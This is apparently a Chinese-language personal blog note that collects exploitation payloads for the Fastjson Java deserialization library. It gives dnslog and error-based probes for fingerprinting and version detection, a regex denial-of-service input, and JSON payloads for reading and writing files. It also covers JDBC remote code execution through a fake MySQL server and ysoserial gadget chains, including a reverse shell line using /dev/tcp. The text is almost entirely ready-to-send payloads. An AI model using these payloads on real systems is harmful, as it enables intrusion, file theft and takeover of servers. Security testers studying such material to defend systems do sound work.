fastjson利用

本文最后更新于 2025年7月23日 晚上

指纹探测

报错

传入不合法的json数据会报错，如{或者[

不存在的类

dnslog

可以在传入json数据的地方通过dnslog来探测是否能触发fastjson反序列化

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{"aa":{"@type":"java.net.Inet4Address","val":"dnslog"}}
{"aa":{"@type":"java.net.Inet6Address","val":"dnslog"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"lo32ps.dnslog.cn"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://11.kaitr5.dnslog.cn"}}""}
Set[{"@type":"java.net.URL","val":"http://w7ln1u.dnslog.cn"}]
//报错但会执行
Set[{"@type":"java.net.URL","val":"http://l4t0t0.dnslog.cn"}



//Fastjson ≤ 1.2.42
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

//Fastjson ≤ 1.2.47
{"aa":{"@type":"java.net.InetAddress","val":"vbiyxs.dnslog.cn"}}


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[
  {
    "@type": "java.lang.AutoCloseable",
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "11.a0y6ja.dnslog.cn"
  }
}
]
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{
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
        "@type": "java.net.InetSocketAddress"{
            "address": ,
            "val": "2.tuai7j.dnslog.cn"
        }
    }
}

版本探测

dnslog

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//Fastjson ≤ 1.2.42
{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}

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//Fastjson ≤ 1.2.47
{"aa":{"@type":"java.net.InetAddress","val":"vbiyxs.dnslog.cn"}}

[
  {
    "@type": "java.lang.Class",
    "val": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.io.ByteArrayOutputStream"
  },
  {
    "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "dnslog"
  }
}
]
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//  <=1.2.80 收到一个dns请求，1.2.83 收到两个dns请求
[
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "x": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ccc.4fhgzj.dnslog.cn"
  }
}
},
  {
    "@type": "java.lang.Exception",
    "@type": "com.alibaba.fastjson.JSONException",
    "message": {
      "@type": "java.net.InetSocketAddress"
  {
    "address":,
    "val": "ddd.4fhgzj.dnslog.cn"
  }
}
}
]

报错

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{"@type":"java.lang.AutoCloseable"
{"z":{"@type":"java.lang.AutoCloseable"
a
["test":1]
[

这种方法版本回显不一定准确，如测试发现1.2.77-1.2.80版本回显都为1.2.76

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【不报错】1.2.83/1.2.24
【报错】1.2.25-1.2.80
{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}

不报错】1.2.24-1.2.68
【报错】1.2.70-1.2.83

{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}}

【不报错】1.2.24-1.2.47
【报错】1.2.48-1.2.83

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl"
    }
}

1.2.36-1.2.62正则DDOS

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{
    "regex":{
        "$ref":"$[blue rlike '^[a-zA-Z]+(([a-zA-Z ])?[a-zA-Z]*)*$']"
    },
    "blue":"aaaaaaaaaaaaaaaaaaaaaaaaaaaa!"
}

探测开启autotype

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[{"@type":"java.net.CookiePolicy"},{"@type":"java.net.Inet4Address","val":"ydk3cz.dnslog.cn"}]

开启时

未开启

依赖探测

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org.springframework.web.bind.annotation.RequestMapping  //SpringBoot
org.apache.catalina.startup.Tomcat  //Tomcat
groovy.lang.GroovyShell  //Groovy - 1.2.80
com.mchange.v2.c3p0.DataSources  //C3P0
com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8
sun.nio.cs.GBK  //JDK8
java.net.http.HttpClient  //JDK11
org.apache.ibatis.type.Alias  //Mybatis
org.apache.tomcat.dbcp.dbcp.BasicDataSource  //tomcat-dbcp-7-BCEL
org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL
org.apache.commons.io.Charsets       // 存在commons-io,但不确定版本
org.apache.commons.io.file.Counters  //commons-io-2.7-2.8
org.aspectj.ajde.Ajde  //aspectjtools

通过使用 Character 将报错回显在 message 中 Fastjson ≤ 1.2.47

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{
  "x": {
    "@type": "java.lang.Character"{
  "@type": "java.lang.Class",
  "val": "org.springframework.web.bind.annotation.RequestMapping"
}
  }

文件读取

FastJson>=1.2.73 && <=1.2.80

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<dependency>
    <groupId>org.aspectj</groupId>
    <artifactId>aspectjtools</artifactId>
    <version>1.9.5</version>
</dependency>

此利用方式同上，仅在web端可行，因为需要用到缓存机制，依次发送三段payload。

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// poc1-1
{
    "@type":"java.lang.Exception",
    "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException"
}

poc1-2
{
    "@type":"java.lang.Class",
    "val":{
        "@type":"java.lang.String"{
        "@type":"java.util.Locale",
        "val":{
            "@type":"com.alibaba.fastjson.JSONObject",
             {
                "@type":"java.lang.String"
                "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.lookup.SourceTypeCollisionException",
                "newAnnotationProcessorUnits":[{}]
            }
        }
    }

poc1-3
{
    "@type":"java.lang.Character"
    {
        "c":{
            "@type":"org.aspectj.org.eclipse.jdt.internal.compiler.env.ICompilationUnit",
            "@type":"org.aspectj.org.eclipse.jdt.internal.core.BasicCompilationUnit",
            "fileName":"c:/windows/win.ini"
    }
}

mysql jdbc

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

payload

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{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "127.0.0.1"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.100.128",
                "user": "ssrf",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

需要MySQL_Fake_Serverpython3.8

username选择不同的payload

commons-io fastjson<=1.2.80

pom

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<dependency>
    <groupId>commons-io</groupId>
    <artifactId>commons-io</artifactId>
    <version>2.11.0</version>
</dependency>

payload

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{
    "abc": {
        "@type": "java.lang.AutoCloseable",
        "@type": "org.apache.commons.io.input.BOMInputStream",
        "delegate": {
            "@type": "org.apache.commons.io.input.ReaderInputStream",
            "reader": {
                "@type": "jdk.nashorn.api.scripting.URLReader",
                "url": "file:///D:/test/1.txt"
            },
            "charsetName": "UTF-8",
            "bufferSize": 1024
        },
        "boms": [{
            "charsetName": "UTF-8",
            "bytes": [49]
        }]
    },
    "address": {
        "$ref": "$.abc.BOM"
    }
}

有输出表示第一个字符的ascii是49,如果不是则无输出

boms可以用多个，可以逐个爆破

写文件

知道web路径可以写马，或者有权限的话写ssh公钥，或者写计划任务getshell

1.2.37 <= FastJson <=1.2.83

pom，依赖有点多

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<dependency>
           <groupId>com.alibaba</groupId>
           <artifactId>fastjson</artifactId>
           <version>1.2.68</version>
       </dependency>

       <dependency>
           <groupId>org.aspectj</groupId>
           <artifactId>aspectjtools</artifactId>
           <version>1.9.5</version>
       </dependency>
       <dependency>
           <groupId>com.esotericsoftware</groupId>
           <artifactId>kryo</artifactId>
           <version>4.0.0</version>
       </dependency>
       <dependency>
           <groupId>com.sleepycat</groupId>
           <artifactId>je</artifactId>
           <version>5.0.73</version>
       </dependency>

poc

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{
"stream": {
"@type": "java.lang.AutoCloseable",
"@type": "org.eclipse.core.internal.localstore.SafeFileOutputStream",
"targetPath": "d:/test/pwn.txt",
"tempPath": "d:/test/test.txt"
},
"writer": {
"@type": "java.lang.AutoCloseable",
"@type": "com.esotericsoftware.kryo.io.Output",
"buffer": "YjF1M3I=",
"outputStream": {
"$ref": "$.stream"
},
"position": 5
},
"close": {
"@type": "java.lang.AutoCloseable",
"@type": "com.sleepycat.bind.serial.SerialOutput",
"out": {
"$ref": "$.writer"
}
}
}

JDBC rce

MYSQL JDBC

需要探测依赖

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com.mysql.jdbc.Buffer  //mysql-jdbc-5
com.mysql.cj.api.authentication.AuthenticationProvider  //mysql-connect-6
com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8

需要Fake MySQL Server联动ysoserial

命令格式yso_xx_xxx

如java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS [http://xx.xxxxx.ceye.io](http://xx.xxxxx.ceye.io)

就是yso_URLDNS_[http://11.82m3mf.dnslog.cn](http://11.82m3mf.dnslog.cn)

mysql8.0.19

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>

payload可以先dnslog看能否利用

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{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.100.128"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.100.128",
                "user": "yso_URLDNS_http://11.82m3mf.dnslog.cn",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

这里ReplicationMySQLConnection换成MultiHostMySQLConnection或者LoadBalancedMySQLConnection都不影响

反弹shell

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{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.100.128"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.100.128",
                "user": "yso_FastJson1_bash -i >& /dev/tcp/ip/port 0>&1",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

有CommonsCollections4版本是4.0

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>8.0.19</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version> 
</dependency>

cc4 payload

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{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.100.128"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.100.128",
                "user": "yso_CommonsCollections4_calc",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

cc2 payload

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{
    "@type": "java.lang.AutoCloseable",
    "@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
    "proxy": {
        "@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
        "connectionUrl": {
            "@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
            "masters": [
                {
                    "host": "192.168.100.128"
                }
            ],
            "slaves": [],
            "properties": {
                "host": "192.168.100.128",
                "user": "yso_CommonsCollections2_calc",
                "dbname": "dbname",
                "password": "pass",
                "queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
                "autoDeserialize": "true",
                "allowLoadLocalInfile": "true"
            }
        }
    }
}

mysql5

5.1.x(SSRF)，5.1.11-5.1.48(反序列化链)

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>5.1.12</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

cc4

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{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.jdbc.JDBC4Connection",
  "hostToConnectTo": "192.168.100.128",
  "portToConnectTo": 3306,
  "info": {
    "user": "yso_CommonsCollections4_calc",
    "password": "pass",
    "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "autoDeserialize": "true",
    "NUM_HOSTS": "1"
  },
  "databaseToConnectTo": "dbname",
  "url": ""
}

cc2

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{
  "@type": "java.lang.AutoCloseable",
  "@type": "com.mysql.jdbc.JDBC4Connection",
  "hostToConnectTo": "192.168.100.128",
  "portToConnectTo": 3306,
  "info": {
    "user": "yso_CommonsCollections2_calc",
    "password": "pass",
    "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
    "autoDeserialize": "true",
    "NUM_HOSTS": "1"
  },
  "databaseToConnectTo": "dbname",
  "url": ""
}

mysql6

6.0.2/6.0.3(反序列化)

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<dependency>
    <groupId>mysql</groupId>
    <artifactId>mysql-connector-java</artifactId>
    <version>6.0.2</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

cc4

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{
       "@type":"java.lang.AutoCloseable",
       "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
       "proxy": {
              "connectionString":{
                     "url":"jdbc:mysql://192.168.100.128:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections4_calc"
              }
       }
}

cc2

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{
       "@type":"java.lang.AutoCloseable",
       "@type":"com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
       "proxy": {
              "connectionString":{
                     "url":"jdbc:mysql://192.168.100.128:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_CommonsCollections2_calc"
              }
       }
}
研究 > 笔记
#笔记
fastjson利用
http://example.com/2025/06/01/fastjson 利用/
作者
J_0k3r
发布于
2025年6月1日
许可协议
BY J_0K3R